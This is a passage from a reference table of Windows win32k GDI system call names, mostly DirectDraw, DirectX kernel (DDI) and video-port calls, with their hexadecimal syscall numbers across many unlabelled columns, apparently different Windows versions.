NtGdiDdCreateDirectDrawObject |     |     |     |  0x103a  |     |     |  0x1039  |     |  0x1039  |     |  0x103b  |  0x103b  |  0x103b  |     |  0x103b  |  0x103b  |  0x103d  |  0x103d  |  0x103d  |     |  0x103d  |     |  0x103e   
NtGdiDdCreateFullscreenSprite |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x132e   
NtGdiDdCreateMoComp |     |     |     |     |     |     |  0x103c  |     |  0x103c  |     |  0x103e  |  0x103e  |  0x103e  |     |  0x103e  |  0x103e  |  0x1040  |  0x1040  |  0x1040  |     |  0x1040  |     |  0x1041   
NtGdiDdCreateSurface |     |     |     |  0x103b  |     |     |  0x103b  |     |  0x103b  |     |  0x103c  |  0x103c  |  0x103c  |     |  0x103c  |  0x103c  |  0x103e  |  0x103e  |  0x103e  |     |  0x103e  |     |  0x103f   
NtGdiDdCreateSurfaceEx |     |     |     |     |     |     |  0x105c  |     |  0x105c  |     |  0x105e  |  0x105e  |  0x105e  |     |  0x105e  |  0x105e  |  0x1060  |  0x1060  |  0x1060  |     |  0x1060  |     |  0x1061   
NtGdiDdCreateSurfaceObject |     |     |     |  0x103c  |     |     |  0x103d  |     |  0x103d  |     |  0x103f  |  0x103f  |  0x103f  |     |  0x103f  |  0x103f  |  0x1041  |  0x1041  |  0x1041  |     |  0x1041  |     |  0x1042   
NtGdiDdDDIAcquireKeyedMutex |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x131c   
NtGdiDdDDICheckExclusiveOwnership |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f2  |  0x12f2  |  0x12f2  |     |  0x12f2  |     |  0x1315   
NtGdiDdDDICheckMonitorPowerState |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f1  |  0x12f1  |  0x12f1  |     |  0x12f1  |     |  0x1314   
NtGdiDdDDICheckOcclusion |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ef  |  0x12ef  |  0x12ef  |     |  0x12ef  |     |  0x1312   
NtGdiDdDDICheckSharedResourceAccess |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1321   
NtGdiDdDDICheckVidPnExclusiveOwnership |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1320   
NtGdiDdDDICloseAdapter |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d7  |  0x12d7  |  0x12d7  |     |  0x12d7  |     |  0x12f9   
NtGdiDdDDIConfigureSharedResource |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x131e   
NtGdiDdDDICreateAllocation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12be  |  0x12be  |  0x12be  |     |  0x12be  |     |  0x12df   
NtGdiDdDDICreateContext |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c6  |  0x12c6  |  0x12c6  |     |  0x12c6  |     |  0x12e7   
NtGdiDdDDICreateDCFromMemory |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e4  |  0x12e4  |  0x12e4  |     |  0x12e4  |     |  0x1307   
NtGdiDdDDICreateDevice |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c4  |  0x12c4  |  0x12c4  |     |  0x12c4  |     |  0x12e5   
NtGdiDdDDICreateKeyedMutex |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1319   
NtGdiDdDDICreateOverlay |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12dd  |  0x12dd  |  0x12dd  |     |  0x12dd  |     |  0x1300   
NtGdiDdDDICreateSynchronizationObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c8  |  0x12c8  |  0x12c8  |     |  0x12c8  |     |  0x12e9   
NtGdiDdDDIDestroyAllocation |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c1  |  0x12c1  |  0x12c1  |     |  0x12c1  |     |  0x12e2   
NtGdiDdDDIDestroyContext |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c7  |  0x12c7  |  0x12c7  |     |  0x12c7  |     |  0x12e8   
NtGdiDdDDIDestroyDCFromMemory |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e5  |  0x12e5  |  0x12e5  |     |  0x12e5  |     |  0x1308   
NtGdiDdDDIDestroyDevice |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c5  |  0x12c5  |  0x12c5  |     |  0x12c5  |     |  0x12e6   
NtGdiDdDDIDestroyKeyedMutex |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x131b   
NtGdiDdDDIDestroyOverlay |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e0  |  0x12e0  |  0x12e0  |     |  0x12e0  |     |  0x1303   
NtGdiDdDDIDestroySynchronizationObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c9  |  0x12c9  |  0x12c9  |     |  0x12c9  |     |  0x12eb   
NtGdiDdDDIEscape |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d9  |  0x12d9  |  0x12d9  |     |  0x12d9  |     |  0x12fb   
NtGdiDdDDIFlipOverlay |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12df  |  0x12df  |  0x12df  |     |  0x12df  |     |  0x1302   
NtGdiDdDDIGetContextSchedulingPriority |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e7  |  0x12e7  |  0x12e7  |     |  0x12e7  |     |  0x130a   
NtGdiDdDDIGetDeviceState |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e3  |  0x12e3  |  0x12e3  |     |  0x12e3  |     |  0x1306   
NtGdiDdDDIGetDisplayModeList |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d0  |  0x12d0  |  0x12d0  |     |  0x12d0  |     |  0x12f2   
NtGdiDdDDIGetMultisampleMethodList |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d2  |  0x12d2  |  0x12d2  |     |  0x12d2  |     |  0x12f4   
NtGdiDdDDIGetOverlayState |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x131f   
NtGdiDdDDIGetPresentHistory |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12dc  |  0x12dc  |  0x12dc  |     |  0x12dc  |     |  0x12fe   
NtGdiDdDDIGetPresentQueueEvent |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ff   
NtGdiDdDDIGetProcessSchedulingPriorityClass |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e9  |  0x12e9  |  0x12e9  |     |  0x12e9  |     |  0x130c   
NtGdiDdDDIGetRuntimeData |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12cc  |  0x12cc  |  0x12cc  |     |  0x12cc  |     |  0x12ee   
NtGdiDdDDIGetScanLine |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12eb  |  0x12eb  |  0x12eb  |     |  0x12eb  |     |  0x130e   
NtGdiDdDDIGetSharedPrimaryHandle |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d8  |  0x12d8  |  0x12d8  |     |  0x12d8  |     |  0x12fa   
NtGdiDdDDIInvalidateActiveVidPn |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ee  |  0x12ee  |  0x12ee  |     |  0x12ee  |     |  0x1311   
NtGdiDdDDILock |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ce  |  0x12ce  |  0x12ce  |     |  0x12ce  |     |  0x12f0   
NtGdiDdDDIOpenAdapterFromDeviceName |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d5  |  0x12d5  |  0x12d5  |     |  0x12d5  |     |  0x12f7   
NtGdiDdDDIOpenAdapterFromHdc |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d6  |  0x12d6  |  0x12d6  |     |  0x12d6  |     |  0x12f8   
NtGdiDdDDIOpenKeyedMutex |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x131a   
NtGdiDdDDIOpenResource |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c0  |  0x12c0  |  0x12c0  |     |  0x12c0  |     |  0x12e1   
NtGdiDdDDIOpenSynchronizationObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ea   
NtGdiDdDDIPollDisplayChildren |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ed  |  0x12ed  |  0x12ed  |     |  0x12ed  |     |  0x1310   
NtGdiDdDDIPresent |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d3  |  0x12d3  |  0x12d3  |     |  0x12d3  |     |  0x12f5   
NtGdiDdDDIQueryAdapterInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12cd  |  0x12cd  |  0x12cd  |     |  0x12cd  |     |  0x12ef   
NtGdiDdDDIQueryAllocationResidency |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c3  |  0x12c3  |  0x12c3  |     |  0x12c3  |     |  0x12e4   
NtGdiDdDDIQueryResourceInfo |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12bf  |  0x12bf  |  0x12bf  |     |  0x12bf  |     |  0x12e0   
NtGdiDdDDIQueryStatistics |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12da  |  0x12da  |  0x12da  |     |  0x12da  |     |  0x12fc   
NtGdiDdDDIReleaseKeyedMutex |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x131d   
NtGdiDdDDIReleaseProcessVidPnSourceOwners |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ea  |  0x12ea  |  0x12ea  |     |  0x12ea  |     |  0x130d   
NtGdiDdDDIRender |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d4  |  0x12d4  |  0x12d4  |     |  0x12d4  |     |  0x12f6   
NtGdiDdDDISetAllocationPriority |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12c2  |  0x12c2  |  0x12c2  |     |  0x12c2  |     |  0x12e3   
NtGdiDdDDISetContextSchedulingPriority |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e6  |  0x12e6  |  0x12e6  |     |  0x12e6  |     |  0x1309   
NtGdiDdDDISetDisplayMode |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12d1  |  0x12d1  |  0x12d1  |     |  0x12d1  |     |  0x12f3   
NtGdiDdDDISetDisplayPrivateDriverFormat |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f3  |  0x12f3  |  0x12f3  |     |  0x12f3  |     |  0x1316   
NtGdiDdDDISetGammaRamp |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e2  |  0x12e2  |  0x12e2  |     |  0x12e2  |     |  0x1305   
NtGdiDdDDISetProcessSchedulingPriorityClass |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e8  |  0x12e8  |  0x12e8  |     |  0x12e8  |     |  0x130b   
NtGdiDdDDISetQueuedLimit |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ec  |  0x12ec  |  0x12ec  |     |  0x12ec  |     |  0x130f   
NtGdiDdDDISetVidPnSourceOwner |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12db  |  0x12db  |  0x12db  |     |  0x12db  |     |  0x12fd   
NtGdiDdDDISharedPrimaryLockNotification |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f4  |  0x12f4  |  0x12f4  |     |  0x12f4  |     |  0x1317   
NtGdiDdDDISharedPrimaryUnLockNotification |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f5  |  0x12f5  |  0x12f5  |     |  0x12f5  |     |  0x1318   
NtGdiDdDDISignalSynchronizationObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12cb  |  0x12cb  |  0x12cb  |     |  0x12cb  |     |  0x12ed   
NtGdiDdDDIUnlock |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12cf  |  0x12cf  |  0x12cf  |     |  0x12cf  |     |  0x12f1   
NtGdiDdDDIUpdateOverlay |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12de  |  0x12de  |  0x12de  |     |  0x12de  |     |  0x1301   
NtGdiDdDDIWaitForIdle |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12f0  |  0x12f0  |  0x12f0  |     |  0x12f0  |     |  0x1313   
NtGdiDdDDIWaitForSynchronizationObject |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12ca  |  0x12ca  |  0x12ca  |     |  0x12ca  |     |  0x12ec   
NtGdiDdDDIWaitForVerticalBlankEvent |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x12e1  |  0x12e1  |  0x12e1  |     |  0x12e1  |     |  0x1304   
NtGdiDdDeleteDirectDrawObject |     |     |     |  0x103d  |     |     |  0x103e  |     |  0x103e  |     |  0x1040  |  0x1040  |  0x1040  |     |  0x1040  |  0x1040  |  0x1042  |  0x1042  |  0x1042  |     |  0x1042  |     |  0x1043   
NtGdiDdDeleteSurfaceObject |     |     |     |  0x103e  |     |     |  0x103f  |     |  0x103f  |     |  0x1041  |  0x1041  |  0x1041  |     |  0x1041  |  0x1041  |  0x1043  |  0x1043  |  0x1043  |     |  0x1043  |     |  0x1044   
NtGdiDdDestroyD3DBuffer |     |     |     |     |     |     |  0x1042  |     |  0x1042  |     |  0x1044  |  0x1044  |  0x1044  |     |  0x1044  |  0x1044  |  0x1046  |  0x1046  |  0x1046  |     |  0x1046  |     |  0x1047   
NtGdiDdDestroyFullscreenSprite |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1330   
NtGdiDdDestroyMoComp |     |     |     |     |     |     |  0x1040  |     |  0x1040  |     |  0x1042  |  0x1042  |  0x1042  |     |  0x1042  |  0x1042  |  0x1044  |  0x1044  |  0x1044  |     |  0x1044  |     |  0x1045   
NtGdiDdDestroySurface |     |     |     |  0x103f  |     |     |  0x1041  |     |  0x1041  |     |  0x1043  |  0x1043  |  0x1043  |     |  0x1043  |  0x1043  |  0x1045  |  0x1045  |  0x1045  |     |  0x1045  |     |  0x1046   
NtGdiDdEndMoCompFrame |     |     |     |     |     |     |  0x1043  |     |  0x1043  |     |  0x1045  |  0x1045  |  0x1045  |     |  0x1045  |  0x1045  |  0x1047  |  0x1047  |  0x1047  |     |  0x1047  |     |  0x1048   
NtGdiDdFlip |     |     |     |  0x1040  |     |     |  0x1044  |     |  0x1044  |     |  0x1046  |  0x1046  |  0x1046  |     |  0x1046  |  0x1046  |  0x1048  |  0x1048  |  0x1048  |     |  0x1048  |     |  0x1049   
NtGdiDdFlipToGDISurface |     |     |     |     |     |     |  0x1045  |     |  0x1045  |     |  0x1047  |  0x1047  |  0x1047  |     |  0x1047  |  0x1047  |  0x1049  |  0x1049  |  0x1049  |     |  0x1049  |     |  0x104a   
NtGdiDdGetAvailDriverMemory |     |     |     |     |     |     |  0x1046  |     |  0x1046  |     |  0x1048  |  0x1048  |  0x1048  |     |  0x1048  |  0x1048  |  0x104a  |  0x104a  |  0x104a  |     |  0x104a  |     |  0x104b   
NtGdiDdGetBltStatus |     |     |     |  0x1041  |     |     |  0x1047  |     |  0x1047  |     |  0x1049  |  0x1049  |  0x1049  |     |  0x1049  |  0x1049  |  0x104b  |  0x104b  |  0x104b  |     |  0x104b  |     |  0x104c   
NtGdiDdGetDC |     |     |     |  0x1042  |     |     |  0x1048  |     |  0x1048  |     |  0x104a  |  0x104a  |  0x104a  |     |  0x104a  |  0x104a  |  0x104c  |  0x104c  |  0x104c  |     |  0x104c  |     |  0x104d   
NtGdiDdGetDriverInfo |     |     |     |     |     |     |  0x1049  |     |  0x1049  |     |  0x104b  |  0x104b  |  0x104b  |     |  0x104b  |  0x104b  |  0x104d  |  0x104d  |  0x104d  |     |  0x104d  |     |  0x104e   
NtGdiDdGetDriverState |     |     |     |     |     |     |  0x1030  |     |  0x1030  |     |  0x1032  |  0x1032  |  0x1032  |     |  0x1032  |  0x1032  |  0x1034  |  0x1034  |  0x1034  |     |  0x1034  |     |  0x1035   
NtGdiDdGetDxHandle |     |     |     |     |     |     |  0x104a  |     |  0x104a  |     |  0x104c  |  0x104c  |  0x104c  |     |  0x104c  |  0x104c  |  0x104e  |  0x104e  |  0x104e  |     |  0x104e  |     |  0x104f   
NtGdiDdGetFlipStatus |     |     |     |  0x1043  |     |     |  0x104b  |     |  0x104b  |     |  0x104d  |  0x104d  |  0x104d  |     |  0x104d  |  0x104d  |  0x104f  |  0x104f  |  0x104f  |     |  0x104f  |     |  0x1050   
NtGdiDdGetInternalMoCompInfo |     |     |     |     |     |     |  0x104c  |     |  0x104c  |     |  0x104e  |  0x104e  |  0x104e  |     |  0x104e  |  0x104e  |  0x1050  |  0x1050  |  0x1050  |     |  0x1050  |     |  0x1051   
NtGdiDdGetMoCompBuffInfo |     |     |     |     |     |     |  0x104d  |     |  0x104d  |     |  0x104f  |  0x104f  |  0x104f  |     |  0x104f  |  0x104f  |  0x1051  |  0x1051  |  0x1051  |     |  0x1051  |     |  0x1052   
NtGdiDdGetMoCompFormats |     |     |     |     |     |     |  0x104f  |     |  0x104f  |     |  0x1051  |  0x1051  |  0x1051  |     |  0x1051  |  0x1051  |  0x1053  |  0x1053  |  0x1053  |     |  0x1053  |     |  0x1054   
NtGdiDdGetMoCompGuids |     |     |     |     |     |     |  0x104e  |     |  0x104e  |     |  0x1050  |  0x1050  |  0x1050  |     |  0x1050  |  0x1050  |  0x1052  |  0x1052  |  0x1052  |     |  0x1052  |     |  0x1053   
NtGdiDdGetScanLine |     |     |     |  0x1044  |     |     |  0x1050  |     |  0x1050  |     |  0x1052  |  0x1052  |  0x1052  |     |  0x1052  |  0x1052  |  0x1054  |  0x1054  |  0x1054  |     |  0x1054  |     |  0x1055   
NtGdiDdLock |     |     |     |  0x1045  |     |     |  0x1051  |     |  0x1051  |     |  0x1053  |  0x1053  |  0x1053  |     |  0x1053  |  0x1053  |  0x1055  |  0x1055  |  0x1055  |     |  0x1055  |     |  0x1056   
NtGdiDdLockD3D |     |     |     |     |     |     |  0x1052  |     |  0x1052  |     |  0x1054  |  0x1054  |  0x1054  |     |  0x1054  |  0x1054  |  0x1056  |  0x1056  |  0x1056  |     |  0x1056  |     |  0x1057   
NtGdiDdNotifyFullscreenSpriteUpdate |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x132f   
NtGdiDdQueryDirectDrawObject |     |     |     |  0x1046  |     |     |  0x1053  |     |  0x1053  |     |  0x1055  |  0x1055  |  0x1055  |     |  0x1055  |  0x1055  |  0x1057  |  0x1057  |  0x1057  |     |  0x1057  |     |  0x1058   
NtGdiDdQueryMoCompStatus |     |     |     |     |     |     |  0x1054  |     |  0x1054  |     |  0x1056  |  0x1056  |  0x1056  |     |  0x1056  |  0x1056  |  0x1058  |  0x1058  |  0x1058  |     |  0x1058  |     |  0x1059   
NtGdiDdQueryVisRgnUniqueness |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x1331   
NtGdiDdReenableDirectDrawObject |     |     |     |  0x1047  |     |     |  0x1055  |     |  0x1055  |     |  0x1057  |  0x1057  |  0x1057  |     |  0x1057  |  0x1057  |  0x1059  |  0x1059  |  0x1059  |     |  0x1059  |     |  0x105a   
NtGdiDdReleaseDC |     |     |     |  0x1048  |     |     |  0x1056  |     |  0x1056  |     |  0x1058  |  0x1058  |  0x1058  |     |  0x1058  |  0x1058  |  0x105a  |  0x105a  |  0x105a  |     |  0x105a  |     |  0x105b   
NtGdiDdRenderMoComp |     |     |     |     |     |     |  0x1057  |     |  0x1057  |     |  0x1059  |  0x1059  |  0x1059  |     |  0x1059  |  0x1059  |  0x105b  |  0x105b  |  0x105b  |     |  0x105b  |     |  0x105c   
NtGdiDdResetVisrgn |     |     |     |  0x1049  |     |     |  0x1058  |     |  0x1058  |     |  0x105a  |  0x105a  |  0x105a  |     |  0x105a  |  0x105a  |  0x105c  |  0x105c  |  0x105c  |     |  0x105c  |     |  0x105d   
NtGdiDdSetColorKey |     |     |     |  0x104a  |     |     |  0x1059  |     |  0x1059  |     |  0x105b  |  0x105b  |  0x105b  |     |  0x105b  |  0x105b  |  0x105d  |  0x105d  |  0x105d  |     |  0x105d  |     |  0x105e   
NtGdiDdSetExclusiveMode |     |     |     |     |     |     |  0x105a  |     |  0x105a  |     |  0x105c  |  0x105c  |  0x105c  |     |  0x105c  |  0x105c  |  0x105e  |  0x105e  |  0x105e  |     |  0x105e  |     |  0x105f   
NtGdiDdSetGammaRamp |     |     |     |     |     |     |  0x105b  |     |  0x105b  |     |  0x105d  |  0x105d  |  0x105d  |     |  0x105d  |  0x105d  |  0x105f  |  0x105f  |  0x105f  |     |  0x105f  |     |  0x1060   
NtGdiDdSetOverlayPosition |     |     |     |  0x104b  |     |     |  0x105d  |     |  0x105d  |     |  0x105f  |  0x105f  |  0x105f  |     |  0x105f  |  0x105f  |  0x1061  |  0x1061  |  0x1061  |     |  0x1061  |     |  0x1062   
NtGdiDdUnattachSurface |     |     |     |     |     |     |  0x105e  |     |  0x105e  |     |  0x1060  |  0x1060  |  0x1060  |     |  0x1060  |  0x1060  |  0x1062  |  0x1062  |  0x1062  |     |  0x1062  |     |  0x1063   
NtGdiDdUnlock |     |     |     |  0x104c  |     |     |  0x105f  |     |  0x105f  |     |  0x1061  |  0x1061  |  0x1061  |     |  0x1061  |  0x1061  |  0x1063  |  0x1063  |  0x1063  |     |  0x1063  |     |  0x1064   
NtGdiDdUnlockD3D |     |     |     |     |     |     |  0x1060  |     |  0x1060  |     |  0x1062  |  0x1062  |  0x1062  |     |  0x1062  |  0x1062  |  0x1064  |  0x1064  |  0x1064  |     |  0x1064  |     |  0x1065   
NtGdiDdUpdateOverlay |     |     |     |  0x104d  |     |     |  0x1061  |     |  0x1061  |     |  0x1063  |  0x1063  |  0x1063  |     |  0x1063  |  0x1063  |  0x1065  |  0x1065  |  0x1065  |     |  0x1065  |     |  0x1066   
NtGdiDdWaitForVerticalBlank |     |     |     |  0x104e  |     |     |  0x1062  |     |  0x1062  |     |  0x1064  |  0x1064  |  0x1064  |     |  0x1064  |  0x1064  |  0x1066  |  0x1066  |  0x1066  |     |  0x1066  |     |  0x1067   
NtGdiDeleteClientObj |     |     |     |  0x104f  |     |     |  0x1072  |     |  0x1072  |     |  0x1077  |  0x1077  |  0x1077  |     |  0x1077  |  0x1077  |  0x1079  |  0x1079  |  0x1079  |     |  0x1079  |     |  0x107a   
NtGdiDeleteColorSpace |     |     |     |     |     |     |  0x1073  |     |  0x1073  |     |  0x1078  |  0x1078  |  0x1078  |     |  0x1078  |  0x1078  |  0x107a  |  0x107a  |  0x107a  |     |  0x107a  |     |  0x107b   
NtGdiDeleteColorTransform |     |     |     |     |     |     |  0x1074  |     |  0x1074  |     |  0x1079  |  0x1079  |  0x1079  |     |  0x1079  |  0x1079  |  0x107b  |  0x107b  |  0x107b  |     |  0x107b  |     |  0x107c   
NtGdiDeleteObjectApp |     |     |     |  0x1050  |     |     |  0x1075  |     |  0x1075  |     |  0x107a  |  0x107a  |  0x107a  |     |  0x107a  |  0x107a  |  0x107c  |  0x107c  |  0x107c  |     |  0x107c  |     |  0x107d   
NtGdiDescribePixelFormat |     |     |     |  0x1051  |     |     |  0x1076  |     |  0x1076  |     |  0x107b  |  0x107b  |  0x107b  |     |  0x107b  |  0x107b  |  0x107d  |  0x107d  |  0x107d  |     |  0x107d  |     |  0x107e   
NtGdiDestroyOPMProtectedOutput |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |     |  0x107e  |  0x107e  |  0x107e  |     |  0x107e  |     |  0x107f   
NtGdiDoBanding |     |     |     |  0x1052  |     |     |  0x1078  |     |  0x1078  |     |  0x107d  |  0x107d  |  0x107d  |     |  0x107d  |  0x107d  |  0x1080  |  0x1080  |  0x1080  |     |  0x1080  |     |  0x1081   
NtGdiDoPalette |     |     |     |  0x1053  |     |     |  0x1079  |     |  0x1079  |     |  0x107e  |  0x107e  |  0x107e  |     |  0x107e  |  0x107e  |  0x1081  |  0x1081  |  0x1081  |     |  0x1081  |     |  0x1082   
NtGdiDrawEscape |     |     |     |  0x1054  |     |     |  0x107a  |     |  0x107a  |     |  0x107f  |  0x107f  |  0x107f  |     |  0x107f  |  0x107f  |  0x1082  |  0x1082  |  0x1082  |     |  0x1082  |     |  0x1083   
NtGdiDrawStream |     |     |     |     |     |     |     |     |     |     |  0x129a  |  0x129a  |  0x129a  |     |  0x1296  |  0x1296  |  0x12bb  |  0x12bb  |  0x12bb  |     |  0x12bb  |     |  0x12db   
NtGdiDvpAcquireNotification |     |     |     |     |     |     |     |     |     |     |  0x1074  |  0x1074  |  0x1074  |     |  0x1074  |  0x1074  |  0x1076  |  0x1076  |  0x1076  |     |  0x1076  |     |  0x1077   
NtGdiDvpCanCreateVideoPort |     |     |     |     |     |     |  0x1063  |     |  0x1063  |     |  0x1065  |  0x1065  |  0x1065  |     |  0x1065  |  0x1065  |  0x1067  |  0x1067  |  0x1067  |     |  0x1067  |     |  0x1068   
NtGdiDvpColorControl |     |     |     |     |     |     |  0x1064  |     |  0x1064  |     |  0x1066  |  0x1066  |  0x1066  |     |  0x1066  |  0x1066  |  0x1068  |  0x1068  |  0x1068  |     |  0x1068  |     |  0x1069   
NtGdiDvpCreateVideoPort |     |     |     |     |     |     |  0x1065  |     |  0x1065  |     |  0x1067  |  0x1067  |  0x1067  |     |  0x1067  |  0x1067  |  0x1069  |  0x1069  |  0x1069  |     |  0x1069  |     |  0x106a   
NtGdiDvpDestroyVideoPort |     |     |     |     |     |     |  0x1066  |     |  0x1066  |     |  0x1068  |  0x1068  |  0x1068  |     |  0x1068  |  0x1068  |  0x106a  |  0x106a  |  0x106a  |     |  0x106a  |     |  0x106b   
NtGdiDvpFlipVideoPort |     |     |     |     |     |     |  0x1067  |     |  0x1067  |     |  0x1069  |  0x1069  |  0x1069  |     |  0x1069  |  0x1069  |  0x106b  |  0x106b  |  0x106b  |     |  0x106b  |     |  0x106c   
NtGdiDvpGetVideoPortBandwidth |     |     |     |     |     |     |  0x1068  |     |  0x1068  |     |  0x106a  |  0x106a  |  0x106a  |     |  0x106a  |  0x106a  |  0x106c  |  0x106c  |  0x106c  |     |  0x106c  |     |  0x106d   
NtGdiDvpGetVideoPortConnectInfo |     |     |     |     |     |     |  0x106e  |     |  0x106e  |     |  0x1070  |  0x1070  |  0x1070  |     |  0x1070  |  0x1070  |  0x1072  |  0x1072  |  0x1072  |     |  0x1072  |     |  0x1073   
NtGdiDvpGetVideoPortField |     |     |     |     |     |     |  0x1069  |     |  0x1069  |     |  0x106b  |  0x106b  |  0x106b  |     |  0x106b  |  0x106b  |  0x106d  |  0x106d  |  0x106d  |     |  0x106d  |     |  0x106e   
NtGdiDvpGetVideoPortFlipStatus |     |     |     |     |     |     |  0x106a  |     |  0x106a  |     |  0x106c  |  0x106c  |  0x106c  |     |  0x106c  |  0x106c  |  0x106e  |  0x106e  |  0x106e  |     |  0x106e  |     |  0x106f   
NtGdiDvpGetVideoPortInputFormats |     |     |     |     |     |     |  0x106b  |     |  0x106b  |     |  0x106d  |  0x106d  |  0x106d  |     |  0x106d  |  0x106d  |  0x106f  |  0x106f  |  0x106f  |     |  0x106f  |     |  0x1070   
NtGdiDvpGetVideoPortLine |     |     |     |     |     |     |  0x106c  |     |  0x106c  |     |  0x106e  |  0x106e  |  0x106e  |     |  0x106e  |  0x106e  |  0x1070  |  0x1070  |  0x1070  |     |  0x1070  |     |  0x1071   
NtGdiDvpGetVideoPortOutputFormats |     |     |     |     |     |     |  0x106d  |     |  0x106d  |     |  0x106f  |  0x106f  |  0x106f  |     |  0x106f  |  0x106f  |  0x1071  |  0x1071  |  0x1071  |     |  0x1071  |     |  0x1072   
NtGdiDvpGetVideoSignalStatus |     |     |     |     |     |     |  0x106f  |     |  0x106f  |     |  0x1071  |  0x1071  |  0x1071  |     |  0x1071  |  0x1071  |  0x1073  |  0x1073  |  0x1073  |     |  0x1073  |     |  0x1074   
NtGdiDvpReleaseNotification |     |     |     |     |     |     |     |     |     |     |  0x1075  |  0x1075  |  0x1075  |     |  0x1075  |  0x1075  |  0x1077  |  0x1077  |  0x1077  |     |  0x1077  |     |  0x1078   
NtGdiDvpUpdateVideoPort |     |     |     |     |     |     |  0x1070  |     |  0x1070  |     |  0x1072  |  0x1072  |  0x1072  |     |  0x1072  |  0x1072  |  0x1074  |  0x1074  |  0x1074  |     |  0x1074  |     |  0x1075   
NtGdiDvpWaitForVideoPortSync |     |     |     |     |     |     |  0x1071  |     |  0x1071  |     |  0x1073  |  0x1073  |  0x1073  |     |  0x1073  |  0x1073  |  0x1075  |  0x1075  |  0x1075  |     |  0x1075  |     |  0x1076   
